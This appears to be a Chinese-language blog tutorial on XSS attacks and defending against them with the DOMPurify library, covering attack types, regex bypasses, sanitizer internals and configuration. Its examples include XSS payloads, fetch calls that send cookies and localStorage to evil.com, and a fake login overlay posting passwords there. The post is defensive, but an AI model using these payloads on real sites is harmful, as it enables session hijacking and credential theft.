前言
做富文本编辑器或者处理用户生成内容的时候,总会遇到一个绕不开的问题:怎么防 XSS 攻击?看着那些花样百出的攻击代码,<img src=x onerror=alert(1)>
、javascript:alert(1)
这些,一个不小心就可能让用户的 Cookie 被偷走。
研究了一圈才发现:XSS 防御这事儿说难也难,说简单也简单。关键是要搞清楚攻击原理,然后用对工具。DOMPurify 就是这么个靠谱的工具------由安全专家写的,专门用来净化 HTML,防止 XSS 攻击。
先抛几个问题,看看你是不是也有同样的困惑:
- XSS 攻击到底是怎么实现的?有哪些常见手法?
- 为什么用正则表达式过滤 HTML 总是被绕过?
- DOMPurify 是怎么做到既安全又高效的?
- 它的底层原理是什么?为什么比其他方案好用?
- 在生产环境中怎么用才最安全?(这个很关键)
什么是 XSS 攻击?
基本概念
XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,恶意脚本就会执行。
想想也是,网页就是 HTML + JavaScript 组成的,如果你把用户输入的内容直接插到页面里,用户输入个 <script>
标签,浏览器当然会老老实实执行。
XSS 的三种类型
1. 存储型 XSS(最危险)
恶意脚本被存储在服务器数据库中,每次用户访问都会触发。
javascript
// 攻击场景:用户在评论区输入
const userComment = '<img src=x onerror="fetch(\'http://evil.com?cookie=\'+document.cookie)">';
// 服务器直接存储,然后在页面展示
document.getElementById('comments').innerHTML = userComment;
// 完了,所有看到这条评论的人的 Cookie 都被偷走了
2. 反射型 XSS
恶意脚本通过 URL 参数传递,服务器直接将其反射到页面中。
javascript
// URL: https://example.com/search?q=<script>alert(document.cookie)</script>
// 后端代码(错误示范)
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>搜索结果:${query}</h1>`); // 直接输出用户输入,危险!
});
3. DOM 型 XSS
纯前端的问题,恶意代码通过修改 DOM 结构触发。
javascript
// 从 URL 获取参数并直接插入 DOM
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('welcome').innerHTML = `欢迎 ${name}`;
// 攻击 URL: ?name=<img src=x onerror=alert(1)>
XSS 攻击的常见手法
攻击者的套路可多了,看几个经典的:
1. 事件处理器注入
html
<!-- 最常见的 -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<!-- 鼠标事件 -->
<div onmouseover=alert(1)>悬停试试</div>
<a onclick=alert(1)>点我</a>
<!-- 表单事件 -->
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus><option>test</select>
2. JavaScript 伪协议
html
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)">
3. 编码绕过
html
<!-- HTML 实体编码 -->
<img src=x onerror="alert(1)">
<!-- URL 编码 -->
<a href="javascript:%61%6c%65%72%74%28%31%29">点击</a>
<!-- Unicode 编码 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
4. 标签嵌套绕过
html
<svg><script>alert(1)</script></svg>
<math><mtext><script>alert(1)</script></mtext></math>
<table><tr><td><img src=x onerror=alert(1)></td></tr></table>
XSS 攻击能做什么?
别小看 XSS,它能干的坏事可不少:
攻击目标 | 具体手段 | 后果 |
---|---|---|
窃取用户信息 | 读取 Cookie、localStorage | 账号被盗,隐私泄露 |
劫持用户会话 | 获取 session token | 冒充用户操作 |
钓鱼攻击 | 伪造登录框 | 骗取密码 |
传播蠕虫 | 自动转发攻击代码 | 大规模感染 |
挖矿 | 运行挖矿脚本 | 占用用户资源 |
页面篡改 | 修改页面内容 | 散布虚假信息 |
真实案例:
javascript
// 窃取 Cookie 并发送到攻击者服务器
<img src=x onerror="
fetch('http://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
url: location.href
})
})
">
// 伪造登录框进行钓鱼
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
<form action="http://evil.com/phishing" style="position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px">
<h2>会话已过期,请重新登录</h2>
<input name="username" placeholder="用户名">
<input name="password" type="password" placeholder="密码">
<button>登录</button>
</form>
</div>
为什么正则表达式防不住 XSS?
正则过滤的困境
很多人第一反应是用正则表达式过滤危险字符:
javascript
// 天真的正则过滤(错误示范)
function sanitize(html) {
return html
.replace(/<script/gi, '')
.replace(/javascript:/gi, '')
.replace(/onerror/gi, '')
.replace(/onclick/gi, '');
}
// 看起来很完美?
console.log(sanitize('<script>alert(1)</script>'));
// 输出: >alert(1) 好像成功了?
但攻击者有一万种绕过方式:
javascript
// 绕过方式 1:大小写混合
'<ScRiPt>alert(1)</sCrIpT>'
// 绕过方式 2:双写
'<scr<script>ipt>alert(1)</script>'
// 绕过方式 3:编码
'<img src=x onerror="alert(1)">'
// 绕过方式 4:换行符和空白字符
'<img src=x onerror=\nalert(1)>'
'<img/src=x/onerror=alert(1)>'
// 绕过方式 5:利用 SVG 和 MathML
'<svg><script>alert(1)</script></svg>'
// 绕过方式 6:使用其他事件
'<body onload=alert(1)>'
'<input onfocus=alert(1) autofocus>'
'<marquee onstart=alert(1)>'
为什么正则不行?
问题的根源在于:
- HTML 规范太复杂:标签、属性、编码、嵌套规则千变万化
- 浏览器容错性强 :
<img/src=x>
这种畸形 HTML 也能解析 - 攻击手法在进化:新的绕过技巧不断出现
- 正则是字符串匹配:它不理解 HTML 的语义和结构
用字符串处理 HTML 就像用剪刀修汽车------工具不对,怎么修都是问题。
javascript
// 正则看到的只是字符
'<img src=x onerror=alert(1)>'
// ↓
// 一串字符,没有结构信息
// 但浏览器解析成的是
{
tag: 'img',
attributes: {
src: 'x',
onerror: 'alert(1)' // ← 危险!会被执行
}
}
DOMPurify:正确的防御方式
什么是 DOMPurify?
DOMPurify 是一个专门用来净化 HTML 的库,由安全专家团队开发和维护。从 2014 年开始到现在,已经是个非常成熟的方案了。
核心特点:
- 超快:利用浏览器原生 DOM 解析,比正则快得多
- 超小:gzip 后只有 12KB,比 OClif 小 80%
- 超安全:由 Cure53 安全团队维护,有漏洞赏金计划
- 开箱即用:默认配置就很安全,不需要复杂配置
- 高度可配置:支持白名单、钩子函数等高级功能
快速上手
使用超级简单:
javascript
// 浏览器端
import DOMPurify from 'dompurify';
const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean); // <img src="x">
// onerror 被去掉了,安全!
// Node.js 端(需要 jsdom)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<img src=x onerror=alert(1)>');
console.log(clean); // <img src="x">
实战案例
看几个实际场景:
1. 富文本编辑器
javascript
// 用户输入的富文本内容
const userContent = `
<h1>我的文章</h1>
<p>这是正常内容</p>
<img src=x onerror=alert(1)>
<script>alert('XSS')</script>
`;
// 保存到数据库前先净化
const safeContent = DOMPurify.sanitize(userContent);
console.log(safeContent);
// 输出:
// <h1>我的文章</h1>
// <p>这是正常内容</p>
// <img src="x">
// ← script 标签完全被删除了
2. 评论系统
javascript
// 用户评论
function saveComment(content) {
// 允许一些基本的 HTML 格式
const clean = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target']
});
// 存入数据库
db.comments.insert({ content: clean });
}
// 测试
saveComment('<p>这是<b>粗体</b></p><script>alert(1)</script>');
// 存入数据库的是: <p>这是<b>粗体</b></p>
// script 被删除,但安全的格式被保留
3. Markdown 渲染
javascript
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
const md = new MarkdownIt({ html: true }); // 允许 HTML
function renderMarkdown(markdown) {
// 先用 markdown-it 渲染
const html = md.render(markdown);
// 再用 DOMPurify 净化(防止 markdown 中插入的 HTML 攻击)
return DOMPurify.sanitize(html);
}
// 测试
const markdown = `
# 标题
[链接](javascript:alert(1))
<img src=x onerror=alert(1)>
`;
console.log(renderMarkdown(markdown));
// 危险的 javascript: 和 onerror 都被清理了
DOMPurify 的底层原理
核心思路:利用浏览器原生能力
DOMPurify 的核心思想是:不要自己写 HTML 解析器,而是让浏览器来解析。
具体步骤:
1. HTML 字符串 → DOM 树
javascript
// 简化的原理示意(实际实现更复杂)
function simplePurify(dirtyHTML) {
// 创建一个临时容器
const container = document.createElement('div');
// 让浏览器解析 HTML
container.innerHTML = dirtyHTML;
// 现在 dirtyHTML 已经变成了 DOM 树
// 浏览器会自动处理各种编码、标签闭合等问题
return container;
}
这一步的好处是:
- 浏览器解析器经过多年优化:性能好,兼容性强
- 自动处理各种边界情况:畸形 HTML、编码、嵌套等
- 不需要自己实现复杂的解析逻辑
2. 遍历 DOM 树 + 白名单过滤
javascript
// 白名单配置(简化版)
const ALLOWED_TAGS = {
'div': true, 'span': true, 'p': true,
'a': true, 'img': true, 'b': true, 'i': true
// ... 更多安全标签
};
const ALLOWED_ATTRS = {
'href': true, 'src': true, 'alt': true, 'title': true
// ... 更多安全属性
};
const ALLOWED_PROTOCOLS = {
'http:': true, 'https:': true, 'mailto:': true
// 注意:不包括 javascript:
};
// 遍历并清理 DOM 树
function cleanDOMTree(node) {
// 检查标签名
if (!ALLOWED_TAGS[node.tagName.toLowerCase()]) {
node.remove(); // 不在白名单,删除
return;
}
// 检查属性
Array.from(node.attributes).forEach(attr => {
const name = attr.name.toLowerCase();
// 属性不在白名单
if (!ALLOWED_ATTRS[name]) {
node.removeAttribute(name);
return;
}
// 检查事件处理器(on* 属性)
if (name.startsWith('on')) {
node.removeAttribute(name); // 删除所有事件处理器
return;
}
// 检查 URL 协议
if (name === 'href' || name === 'src') {
try {
const url = new URL(attr.value, window.location.href);
if (!ALLOWED_PROTOCOLS[url.protocol]) {
node.removeAttribute(name); // 危险协议,删除
}
} catch (e) {
node.removeAttribute(name); // 无效 URL,删除
}
}
});
// 递归处理子节点
Array.from(node.childNodes).forEach(child => {
if (child.nodeType === 1) { // 元素节点
cleanDOMTree(child);
}
});
}
3. 特殊处理:Shadow DOM 和模板
javascript
// DOMPurify 还会递归处理 Shadow DOM
function cleanShadowDOM(element) {
if (element.shadowRoot) {
// 净化 Shadow DOM 内容
cleanDOMTree(element.shadowRoot);
}
// 处理 <template> 标签
if (element.tagName === 'TEMPLATE') {
cleanDOMTree(element.content);
}
}
4. DOM Clobbering 防护
DOM Clobbering 是一种通过 HTML 属性污染 JavaScript 全局变量的攻击:
html
<!-- 攻击示例 -->
<form name="getElementById">
<input name="alert">
</form>
<script>
// 现在 document.getElementById 被覆盖了!
document.getElementById('test'); // 报错:不是函数
</script>
DOMPurify 的防护措施:
javascript
// 配置:启用命名空间隔离
const clean = DOMPurify.sanitize(dirty, {
SANITIZE_NAMED_PROPS: true
});
// 输入: <img id="alert">
// 输出: <img id="user-content-alert">
// ↑ 自动加前缀,避免污染全局变量
为什么 DOMPurify 快?
性能对比:
方案 | 处理 10KB HTML | 原理 |
---|---|---|
正则表达式 | ~5ms | 字符串匹配 |
自建解析器 | ~20ms | 纯 JS 实现解析 |
DOMPurify | ~2ms | 浏览器原生 DOM 解析 |
DOMPurify 快的原因:
- 利用浏览器原生 C++ 实现的 DOM 解析器:比 JS 快几十倍
- 直接操作 DOM 树:不需要字符串正则匹配
- 一次遍历完成所有检查:不需要多次处理
源码解析(核心部分)
看一下 DOMPurify 的核心源码(简化版):
javascript
// 真实的 DOMPurify 核心逻辑(简化)
const DOMPurify = (function() {
// 配置默认白名单
const DEFAULT_ALLOWED_TAGS = [
'a', 'abbr', 'address', 'area', 'article',
'b', 'bdi', 'bdo', 'blockquote', 'br',
'caption', 'cite', 'code', 'col', 'colgroup',
'div', 'em', 'figcaption', 'figure', 'footer',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'header', 'hr', 'i', 'img', 'li', 'main',
'mark', 'nav', 'ol', 'p', 'pre', 'section',
'small', 'span', 'strong', 'sub', 'sup',
'table', 'tbody', 'td', 'th', 'thead', 'tr', 'ul'
// ... 更多
];
return {
sanitize: function(dirty, config = {}) {
// 创建 DOM 容器
const body = document.createElement('body');
// 让浏览器解析 HTML
body.innerHTML = dirty;
// 遍历清理
_sanitizeElements(body, config);
_sanitizeAttributes(body, config);
_sanitizeShadowDOM(body, config);
// 返回安全的 HTML
return body.innerHTML;
}
};
function _sanitizeElements(currentNode, config) {
const nodeName = currentNode.nodeName.toLowerCase();
// 不在白名单,删除
if (!DEFAULT_ALLOWED_TAGS.includes(nodeName)) {
currentNode.remove();
return;
}
// 递归处理子节点
Array.from(currentNode.childNodes).forEach(node => {
if (node.nodeType === 1) { // 元素节点
_sanitizeElements(node, config);
}
});
}
function _sanitizeAttributes(currentNode, config) {
Array.from(currentNode.attributes || []).forEach(attr => {
const lcName = attr.name.toLowerCase();
// 删除所有事件处理器
if (lcName.startsWith('on')) {
currentNode.removeAttribute(attr.name);
return;
}
// 检查 URL 协议
if (lcName === 'href' || lcName === 'src') {
const value = attr.value.trim();
// 删除危险协议
if (value.startsWith('javascript:') ||
value.startsWith('data:') ||
value.startsWith('vbscript:')) {
currentNode.removeAttribute(attr.name);
}
}
});
}
function _sanitizeShadowDOM(currentNode, config) {
// 处理 Shadow DOM
if (currentNode.shadowRoot) {
_sanitizeElements(currentNode.shadowRoot, config);
_sanitizeAttributes(currentNode.shadowRoot, config);
}
// 处理 template
if (currentNode.content) {
_sanitizeElements(currentNode.content, config);
_sanitizeAttributes(currentNode.content, config);
}
}
})();
DOMPurify 高级配置
1. 自定义允许的标签和属性
javascript
// 只允许特定标签
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
// 在默认白名单基础上添加
const clean = DOMPurify.sanitize(dirty, {
ADD_TAGS: ['my-component'],
ADD_ATTR: ['data-id']
});
// 禁止特定标签(其他都允许)
const clean = DOMPurify.sanitize(dirty, {
FORBID_TAGS: ['style', 'form', 'input']
});
2. 使用配置文件
javascript
// 只允许 HTML(不允许 SVG 和 MathML)
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: { html: true }
});
// 只允许 SVG
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: { svg: true }
});
// HTML + SVG
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: { html: true, svg: true }
});
3. 处理 Custom Elements
javascript
// 允许自定义元素
const clean = DOMPurify.sanitize(dirty, {
CUSTOM_ELEMENT_HANDLING: {
// 允许以 my- 开头的标签
tagNameCheck: /^my-/,
// 允许包含 data 的属性
attributeNameCheck: /^data-/,
// 允许自定义内置元素
allowCustomizedBuiltInElements: true
}
});
// 示例
const html = '<my-button data-id="123" onclick="alert(1)">Click</my-button>';
const clean = DOMPurify.sanitize(html, {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^my-/,
attributeNameCheck: /^data-/
}
});
// 结果: <my-button data-id="123">Click</my-button>
// ↑ onclick 被删除,但 my-button 和 data-id 被保留
4. 钩子函数(Hooks)
javascript
// 在净化前后执行自定义逻辑
DOMPurify.addHook('beforeSanitizeElements', (currentNode) => {
console.log('处理节点:', currentNode.nodeName);
});
DOMPurify.addHook('uponSanitizeAttribute', (currentNode, data) => {
// 自定义属性处理逻辑
if (data.attrName === 'target' && data.attrValue === '_blank') {
// 给 target="_blank" 的链接自动加上 rel="noopener"
currentNode.setAttribute('rel', 'noopener noreferrer');
}
});
const clean = DOMPurify.sanitize('<a href="https://example.com" target="_blank">链接</a>');
// 结果: <a href="https://example.com" target="_blank" rel="noopener noreferrer">链接</a>
5. 返回 DOM 而非字符串
javascript
// 返回 DOM 节点(性能更好,避免二次解析)
const cleanDOM = DOMPurify.sanitize(dirty, {
RETURN_DOM: true
});
document.body.appendChild(cleanDOM);
// 返回 DocumentFragment
const fragment = DOMPurify.sanitize(dirty, {
RETURN_DOM_FRAGMENT: true
});
6. 模板系统支持
javascript
// 如果你的模板系统使用 {{ }} 或 ${ } 语法
const clean = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true
});
// 输入: '<div>{{username}}</div><img src=x onerror=alert(1)>'
// 输出: '<div>{{username}}</div><img src="x">'
// ↑ 模板语法被保留,但 XSS 被清除
生产环境最佳实践
1. 前后端双重验证
javascript
// ❌ 错误:只在前端验证
// 前端(不安全)
const clean = DOMPurify.sanitize(userInput);
fetch('/api/comments', {
method: 'POST',
body: JSON.stringify({ content: clean })
});
// ✅ 正确:前后端都验证
// 前端
const clean = DOMPurify.sanitize(userInput);
fetch('/api/comments', {
method: 'POST',
body: JSON.stringify({ content: clean })
});
// 后端(Node.js)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
app.post('/api/comments', (req, res) => {
const window = new JSDOM('').window;
const purify = DOMPurify(window);
// 再次净化,防止前端被绕过
const clean = purify.sanitize(req.body.content);
db.comments.insert({ content: clean });
res.json({ success: true });
});
2. 配置合理的白名单
javascript
// 根据实际需求配置白名单
const commentConfig = {
// 评论只允许简单格式
ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'u', 'a', 'code', 'pre'],
ALLOWED_ATTR: ['href'],
// 不允许 data URI(防止嵌入脚本)
ALLOW_DATA_ATTR: false,
// 限制 URL 协议
ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):)/i
};
const articleConfig = {
// 文章允许更丰富的格式
ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'u', 'a', 'img', 'h1', 'h2', 'h3',
'ul', 'ol', 'li', 'blockquote', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
// 图片允许 data URI(但要小心大小限制)
ADD_DATA_URI_TAGS: ['img']
};
3. 监控和日志
javascript
// 记录被清理的内容,用于安全审计
function sanitizeWithLog(html, userId) {
const clean = DOMPurify.sanitize(html);
// 检查是否有内容被清理
if (html !== clean) {
// 记录日志
logger.warn('XSS attempt detected', {
userId,
original: html,
cleaned: clean,
removed: DOMPurify.removed,
timestamp: new Date()
});
// 严重的攻击尝试可以触发告警
if (DOMPurify.removed.length > 5) {
alertSecurity('Potential XSS attack', { userId, html });
}
}
return clean;
}
4. Content Security Policy (CSP)
DOMPurify + CSP = 双重保险:
html
<!-- 在 HTML 中设置 CSP -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'">
// 或在服务器响应头中设置
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none';"
);
next();
});
CSP 的作用:
- 即使 XSS 绕过了 DOMPurify,CSP 也能阻止脚本执行
- 限制资源加载来源
- 阻止内联脚本执行(除非明确允许)
5. 定期更新
javascript
// 检查 DOMPurify 版本
console.log(DOMPurify.version); // 当前版本
// package.json 中定期更新
{
"dependencies": {
"dompurify": "^3.0.0", // 使用最新稳定版
"jsdom": "^23.0.0" // Node.js 环境需要
}
}
为什么要更新?
- 新的 XSS 攻击手法不断出现
- 浏览器行为可能变化
- 安全漏洞修复
6. 性能优化
javascript
// 批量处理时复用实例
class CommentSanitizer {
constructor() {
// 预配置
this.config = {
ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'a'],
ALLOWED_ATTR: ['href']
};
}
sanitize(html) {
return DOMPurify.sanitize(html, this.config);
}
sanitizeBatch(htmlArray) {
return htmlArray.map(html => this.sanitize(html));
}
}
// 使用
const sanitizer = new CommentSanitizer();
const cleanComments = sanitizer.sanitizeBatch(userComments);
7. Trusted Types 集成(现代浏览器)
javascript
// 配合 Trusted Types API 使用
const policy = window.trustedTypes.createPolicy('default', {
createHTML: (dirty) => {
return DOMPurify.sanitize(dirty, {
RETURN_TRUSTED_TYPE: false
});
}
});
// 使用
element.innerHTML = policy.createHTML(userInput);
// 这样可以利用浏览器的 Trusted Types 保护
常见陷阱和注意事项
1. 不要在净化后再修改 HTML
javascript
// ❌ 错误:净化后又手动拼接
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = `<div class="comment">${clean}</div>`;
// 如果 clean 里有引号,还是可能被注入
// ✅ 正确:先拼接再净化
const html = `<div class="comment">${userInput}</div>`;
element.innerHTML = DOMPurify.sanitize(html);
2. 注意 jsdom 版本(Node.js 环境)
javascript
// jsdom 版本太老会有安全问题
// ❌ 不要用:jsdom@19.0.0 或更早版本
// ✅ 推荐:jsdom@20.0.0 或更新版本
// package.json
{
"dependencies": {
"jsdom": "^23.0.0" // 使用最新版
}
}
3. 不要用 happy-dom(不安全)
javascript
// ❌ 不推荐:happy-dom 目前不够安全
import { Window } from 'happy-dom';
const window = new Window();
const purify = DOMPurify(window);
// 可能会被绕过!
// ✅ 推荐:使用 jsdom
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
4. 小心 Data URIs
javascript
// Data URI 可以嵌入 JavaScript
const dangerous = '<img src="data:text/html,<script>alert(1)</script>">';
// DOMPurify 默认会清理危险的 Data URI
const clean = DOMPurify.sanitize(dangerous);
console.log(clean); // <img> ← src 被删除
// 如果确实需要 Data URI(比如图片),要限制类型
const config = {
ADD_DATA_URI_TAGS: ['img'],
ALLOWED_URI_REGEXP: /^data:image\// // 只允许图片的 Data URI
};
5. 不要禁用 SANITIZE_DOM
javascript
// ❌ 危险:禁用 DOM Clobbering 保护
const clean = DOMPurify.sanitize(dirty, {
SANITIZE_DOM: false // 别这么做!
});
// ✅ 保持默认
const clean = DOMPurify.sanitize(dirty);
// 默认就是 SANITIZE_DOM: true
实战案例分析
案例 1:社交媒体平台
需求:
- 用户可以发布包含图片、链接的内容
- 支持一些简单的文本格式
- 防止 XSS 攻击
javascript
class PostSanitizer {
constructor() {
this.config = {
// 允许的标签
ALLOWED_TAGS: [
'p', 'br', 'b', 'i', 'u', 'a', 'img',
'ul', 'ol', 'li', 'blockquote'
],
// 允许的属性
ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
// 链接自动加 noopener
ADD_ATTR: ['target'],
// 限制 URL 协议
ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):)/i,
// 不允许 Data URI(避免嵌入恶意内容)
ALLOW_DATA_ATTR: false
};
// 添加钩子:给外部链接自动加 rel="noopener noreferrer"
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A') {
const href = node.getAttribute('href');
if (href && !href.startsWith('/')) {
node.setAttribute('target', '_blank');
node.setAttribute('rel', 'noopener noreferrer');
}
}
});
}
sanitize(html) {
const clean = DOMPurify.sanitize(html, this.config);
// 记录被清理的内容
if (DOMPurify.removed.length > 0) {
console.warn('Removed dangerous elements:', DOMPurify.removed);
}
return clean;
}
}
// 使用
const sanitizer = new PostSanitizer();
const userPost = `
<p>Check out my website!</p>
<a href="https://example.com">Click here</a>
<img src="https://example.com/image.jpg" alt="image">
<script>alert('XSS')</script>
`;
const clean = sanitizer.sanitize(userPost);
console.log(clean);
// 输出:
// <p>Check out my website!</p>
// <a href="https://example.com" target="_blank" rel="noopener noreferrer">Click here</a>
// <img src="https://example.com/image.jpg" alt="image">
// ← script 被删除,链接自动加了安全属性
案例 2:在线代码编辑器
需求:
- 显示用户提交的代码(可能包含 HTML)
- 需要语法高亮
- 防止代码执行
javascript
import hljs from 'highlight.js';
import DOMPurify from 'dompurify';
function displayCode(code, language) {
// 1. 先用语法高亮库处理
const highlighted = hljs.highlight(code, { language }).value;
// 2. 再用 DOMPurify 净化(防止高亮库的 XSS 漏洞)
const clean = DOMPurify.sanitize(highlighted, {
ALLOWED_TAGS: ['span', 'code', 'pre'],
ALLOWED_ATTR: ['class'] // 只允许 class(用于语法高亮样式)
});
// 3. 安全地插入页面
const pre = document.createElement('pre');
const codeElement = document.createElement('code');
codeElement.className = `language-${language}`;
codeElement.innerHTML = clean;
pre.appendChild(codeElement);
return pre;
}
// 测试
const maliciousCode = `
function hello() {
console.log('Hello');
}
// <img src=x onerror=alert(1)>
`;
const codeBlock = displayCode(maliciousCode, 'javascript');
document.body.appendChild(codeBlock);
// 代码被正确高亮显示,但 img 标签被清理了
案例 3:Markdown 编辑器
需求:
- 支持 Markdown 语法
- 允许嵌入 HTML
- 防止 XSS
javascript
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
class SafeMarkdownRenderer {
constructor() {
this.md = new MarkdownIt({
html: true, // 允许 HTML
linkify: true, // 自动识别链接
typographer: true
});
this.purifyConfig = {
ALLOWED_TAGS: [
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'p', 'br', 'b', 'i', 'u', 'strong', 'em',
'a', 'img', 'ul', 'ol', 'li',
'blockquote', 'code', 'pre',
'table', 'thead', 'tbody', 'tr', 'th', 'td'
],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
KEEP_CONTENT: true // 删除标签但保留内容
};
}
render(markdown) {
// 1. Markdown 转 HTML
const html = this.md.render(markdown);
// 2. 净化 HTML
const clean = DOMPurify.sanitize(html, this.purifyConfig);
return clean;
}
}
// 使用
const renderer = new SafeMarkdownRenderer();
const markdown = `
# 标题
这是一段文字,包含 **粗体** 和 *斜体*。
[普通链接](https://example.com)
[危险链接](javascript:alert(1))
\`\`\`javascript
console.log('Hello');
\`\`\`
<img src=x onerror=alert(1)>
<script>alert('XSS')</script>
`;
const html = renderer.render(markdown);
console.log(html);
// 正常的 Markdown 被渲染,危险的 JavaScript 被清除
与其他方案对比
DOMPurify vs 正则表达式
特性 | DOMPurify | 正则表达式 |
---|---|---|
安全性 | 非常高,专业安全团队维护 | 低,容易被绕过 |
性能 | 快(利用浏览器原生解析) | 慢(复杂正则性能差) |
可维护性 | 高(配置化) | 低(难以覆盖所有情况) |
更新成本 | 低(只需更新库) | 高(需要自己跟踪新攻击手法) |
误杀率 | 低(精确识别) | 高(正常内容也可能被过滤) |
DOMPurify vs 模板引擎自带转义
javascript
// Vue.js 自动转义
<template>
<div>{{ userInput }}</div> <!-- 自动转义,安全 -->
<div v-html="userInput"></div> <!-- 不转义,危险!需要手动净化 -->
</template>
// React 自动转义
function Component() {
return (
<div>{userInput}</div> {/* 自动转义,安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 不转义,危险! */}
);
}
// 正确做法:用 DOMPurify 净化后再用 v-html 或 dangerouslySetInnerHTML
const clean = DOMPurify.sanitize(userInput);
<div v-html="clean"></div>
要点:
- 模板引擎的转义只能防止插值注入
- 不能防止 v-html / dangerouslySetInnerHTML 的 XSS
- 需要 DOMPurify 配合使用
DOMPurify vs CSP (Content Security Policy)
它们是互补的,不是替代关系:
防御层 | DOMPurify | CSP |
---|---|---|
作用位置 | 输入时净化 | 浏览器执行时拦截 |
防御策略 | 过滤恶意代码 | 限制代码执行 |
优势 | 精确控制、跨浏览器 | 即使 XSS 绕过也能拦截 |
劣势 | 可能被绕过 | 配置复杂、有兼容性问题 |
最佳实践:DOMPurify + CSP 双重保护
javascript
// 1. 输入时用 DOMPurify 净化
const clean = DOMPurify.sanitize(userInput);
// 2. 设置 CSP(服务器端)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
);
next();
});
// 即使 DOMPurify 被绕过,CSP 也能拦截脚本执行
总结
研究完 XSS 防御和 DOMPurify,我的理解是:
原理层面:
- XSS 攻击的本质是注入恶意代码,利用浏览器执行
- 正则过滤不靠谱,HTML 规范太复杂,绕过方式太多
- DOMPurify 的核心思路是利用浏览器原生 DOM 解析器 + 白名单过滤
- 它不自己解析 HTML,而是让浏览器解析成 DOM 树,然后遍历清理
实用层面:
- DOMPurify 使用简单:一行代码就能用
- 性能优秀:比正则快,比自建解析器快得多
- 配置灵活:支持白名单、钩子、自定义元素等
- 安全可靠:由专业安全团队维护,有漏洞赏金计划
- 不是银弹:需要配合前后端验证、CSP、日志监控等措施
使用建议:
- 前后端都要验证:不要只在前端净化,后端也要再次检查
- 合理配置白名单:根据实际需求限制允许的标签和属性
- 定期更新:跟进最新版本,获取安全更新
- 监控日志:记录被清理的内容,及时发现攻击尝试
- 配合 CSP:双重保护,即使 XSS 绕过也能拦截
- 测试代码:在实际环境中测试,确保不会误杀正常内容
如果你的项目需要处理用户生成的 HTML 内容,强烈建议用 DOMPurify。别想着自己写正则过滤------那是个无底洞,攻击者永远比你想得多。专业的事交给专业的工具,省心又安全。
参考资料
官方文档
- DOMPurify GitHub - 官方仓库和文档
- DOMPurify Demo - 在线演示和测试
安全研究
- OWASP XSS 防御备忘单
- Cure53 Security Audits - DOMPurify 维护团队
技术标准
相关库
- jsdom - Node.js 环境的 DOM 实现
- isomorphic-dompurify - 浏览器和 Node.js 通用版本